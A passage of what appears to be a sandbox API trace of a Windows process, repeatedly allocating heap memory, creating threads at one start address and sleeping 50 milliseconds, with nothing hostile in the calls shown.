lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5dc [0073.717] Sleep (dwMilliseconds=0x32) [0073.810] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0073.810] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0073.810] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0073.810] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5fc [0073.811] Sleep (dwMilliseconds=0x32) [0073.904] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0073.904] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0073.904] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0073.904] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x61c [0073.905] Sleep (dwMilliseconds=0x32) [0073.997] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0073.997] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0073.997] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0073.997] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x63c [0073.998] Sleep (dwMilliseconds=0x32) [0074.106] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0074.106] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0074.106] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0074.106] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x65c [0074.107] Sleep (dwMilliseconds=0x32) [0074.199] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0074.199] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0074.199] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0074.199] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x67c [0074.200] Sleep (dwMilliseconds=0x32) [0074.294] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0074.294] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0074.294] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0074.294] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x69c [0074.295] Sleep (dwMilliseconds=0x32) [0074.387] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0074.387] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0074.387] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0074.387] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6bc [0074.387] Sleep (dwMilliseconds=0x32) [0074.480] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0074.480] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0074.480] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0074.480] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6dc [0074.481] Sleep (dwMilliseconds=0x32) [0074.574] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0074.574] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0074.574] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0074.574] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6fc [0074.575] Sleep (dwMilliseconds=0x32) [0074.669] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0074.669] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0074.669] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0074.669] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x71c [0074.670] Sleep (dwMilliseconds=0x32) [0074.761] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0074.761] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0074.761] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0074.761] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x73c [0074.762] Sleep (dwMilliseconds=0x32) [0074.855] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0074.855] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0074.855] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0074.855] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x75c [0074.856] Sleep (dwMilliseconds=0x32) [0074.920] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0074.920] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0074.920] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0074.920] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x77c [0074.921] Sleep (dwMilliseconds=0x32) [0075.011] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0075.011] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0075.011] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0075.011] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x79c [0075.012] Sleep (dwMilliseconds=0x32) [0075.104] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0075.104] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0075.104] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0075.104] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7bc [0075.105] Sleep (dwMilliseconds=0x32) [0075.198] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0075.198] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0075.198] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0075.198] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7dc [0075.199] Sleep (dwMilliseconds=0x32) [0075.291] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0075.291] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0075.291] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0075.292] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7fc [0075.292] Sleep (dwMilliseconds=0x32) [0075.385] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0075.385] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0075.385] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0075.385] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x820 [0075.386] Sleep (dwMilliseconds=0x32) [0075.479] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0075.479] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0075.479] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0075.479] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x840 [0075.479] Sleep (dwMilliseconds=0x32) [0075.572] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0075.572] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0075.572] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0075.572] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x860 [0075.573] Sleep (dwMilliseconds=0x32) [0075.666] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0075.666] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0075.666] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0075.666] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x880 [0075.666] Sleep (dwMilliseconds=0x32) [0075.760] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0075.760] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0075.760] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0075.760] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8a0 [0075.760] Sleep (dwMilliseconds=0x32) [0075.854] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0075.854] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0075.854] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0075.854] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8c0 [0075.855] Sleep (dwMilliseconds=0x32) [0075.947] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0075.947] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0075.947] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0075.947] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8e0 [0075.948] Sleep (dwMilliseconds=0x32) [0076.058] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0076.058] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0076.058] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0076.058] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x900 [0076.059] Sleep (dwMilliseconds=0x32) [0076.150] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0076.150] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0076.150] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0076.150] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x920 [0076.151] Sleep (dwMilliseconds=0x32) [0076.244] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0076.244] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0076.245] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0076.245] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x940 [0076.245] Sleep (dwMilliseconds=0x32) [0076.337] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0076.337] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0076.337] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0076.337] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x960 [0076.338] Sleep (dwMilliseconds=0x32) [0076.430] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0076.430] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0076.430] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0076.430] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x980 [0076.431] Sleep (dwMilliseconds=0x32) [0076.524] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0076.524] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0076.524] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0076.524] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9a0 [0076.525] Sleep (dwMilliseconds=0x32) [0076.620] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0076.620] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0076.620] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0076.620] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9c0 [0076.621] Sleep (dwMilliseconds=0x32) [0076.712] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0076.712] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0076.712] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0076.712] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9e0 [0076.713] Sleep (dwMilliseconds=0x32) [0076.805] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0076.805] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0076.805] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0076.805] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa00 [0076.806] Sleep (dwMilliseconds=0x32) [0076.899] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0076.899] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0076.899] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0076.899] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa20 [0076.899] Sleep (dwMilliseconds=0x32) [0076.992] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0076.992] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0076.992] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0076.992] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa40 [0076.993] Sleep (dwMilliseconds=0x32) [0077.132] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0077.132] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0077.132] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0077.133] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa60 [0077.133] Sleep (dwMilliseconds=0x32) [0077.226] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0077.226] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0077.226] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0077.226] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa80 [0077.226] Sleep (dwMilliseconds=0x32) [0077.319] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0077.319] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0077.319] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0077.320] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xaa0 [0077.320] Sleep (dwMilliseconds=0x32) [0077.413] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0077.413] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0077.413] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0077.413] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xac0 [0077.414] Sleep (dwMilliseconds=0x32) [0077.507] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0077.507] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0077.507] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0077.507] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xae0 [0077.508] Sleep (dwMilliseconds=0x32) [0077.600] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0077.600] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0077.600] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0077.600] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb00 [0077.601] Sleep (dwMilliseconds=0x32) [0077.694] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0077.694] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0077.694] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0077.694] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb20 [0077.695] Sleep (dwMilliseconds=0x32) [0077.801] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0077.801] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0077.801] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0077.801] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb40 [0077.802] Sleep (dwMilliseconds=0x32) [0077.902] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0077.902] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0077.902] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0077.902] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb6c [0077.903] Sleep (dwMilliseconds=0x32) [0077.991] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0077.991] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0077.991] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0077.991] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb8c [0077.991] Sleep (dwMilliseconds=0x32) [0078.084] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0078.084] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0078.084] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0078.084] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xbac [0078.085] Sleep (dwMilliseconds=0x32) [0078.180] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0078.180] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0078.180] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0078.180] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xbcc [0078.181] Sleep (dwMilliseconds=0x32) [0078.274] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0078.274] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0078.274] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0078.274] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xbec [0078.275] Sleep (dwMilliseconds=0x32) [0078.365] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0078.365] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0078.365] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0078.365] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc10 [0078.366] Sleep (dwMilliseconds=0x32) [0078.460] HeapValidate (hHeap=0x230000, dwFlags=0x0, 